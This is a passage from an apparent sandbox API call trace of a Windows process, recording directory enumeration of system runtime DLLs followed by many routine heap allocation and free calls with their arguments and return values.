hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeafa93fe, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeafa93fe, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0251.437] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeafcf67a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeafcf67a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="APF2DB~1.DLL")) returned 1 [0251.437] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeafcf67a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeafcf67a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0251.437] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaff58d4, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaff58d4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0251.437] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaff58d4, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaff58d4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0251.438] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaff58d4, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaff58d4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="AP0479~1.DLL")) returned 1 [0251.438] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb01bb37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb01bb37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0251.438] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb01bb37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb01bb37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0251.438] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb041d9d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb041d9d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0251.438] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb041d9d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb041d9d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x66b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0251.438] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb041d9d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb041d9d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0251.438] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb068003, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb068003, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0251.439] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb068003, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb068003, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0251.439] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4135060 [0251.613] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0251.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0251.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0251.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135060 | out: hHeap=0x670000) returned 1 [0251.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0251.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135060 | out: hHeap=0x670000) returned 1 [0251.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135060 | out: hHeap=0x670000) returned 1 [0251.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135060 | out: hHeap=0x670000) returned 1 [0251.626] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0251.626] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135060 | out: hHeap=0x670000) returned 1 [0251.628] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135060 | out: hHeap=0x670000) returned 1 [0251.628] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0251.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0251.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0251.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0251.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135060 | out: hHeap=0x670000) returned 1 [0251.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0251.643] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0251.645] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0251.944] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0251.945] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0251.945] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0251.945] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135060 | out: hHeap=0x670000) returned 1 [0251.947] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0251.956] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135060 | out: hHeap=0x670000) returned 1 [0251.956] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0251.959] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0251.972] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0251.975] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0251.978] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0251.981] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0252.590] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0252.592] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0252.594] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0252.597] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0252.599] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0252.887] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0252.891] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0252.893] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0252.897] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0252.900] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0252.903] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0252.905] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0252.908] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0252.911] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0252.916] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0252.919] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0252.922] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0252.924] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.131] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.133] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.135] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.137] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.139] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.141] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.143] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.146] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.148] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.150] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.228] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.232] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.235] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.249] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.252] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.256] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.367] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.373] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.384] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.394] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.398] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.406] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.409] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.527] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.536] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.539] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.543] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.546] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.550] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.644] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0253.647] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0253.649] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0253.650] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0253.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0253.655] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0253.655] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0253.655] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0253.657] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0253.658] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135060 | out: hHeap=0x670000) returned 1 [0253.661] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0253.661] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0253.665] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0253.667] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0253.667] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0254.571] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0254.571] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0254.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0254.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0254.820] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0254.820] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0254.917] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0255.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0255.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0255.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0255.162] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0255.166] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0255.167] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0255.167] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0255.281] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0255.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0255.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0255.448] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0255.448] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0255.449] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0255.450] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0255.450] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0255.450] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0255.450] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0255.450] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0255.450] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0255.450] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0255.451] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0255.451] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0255.451] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0255.453] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0255.453] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0255.453] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0255.457] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0255.457] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0255.457] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0255.459] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0255.459] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0255.459] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0255.459] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0255.464] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0255.465] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0255.465] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0255.467] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0255.468] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0255.468] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0255.468] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0255.470] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0255.471] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0255.471] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0255.471] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0255.481] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0255.482] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0255.482] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0256.034] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0256.035] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0256.035] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0256.035] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0256.035] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: 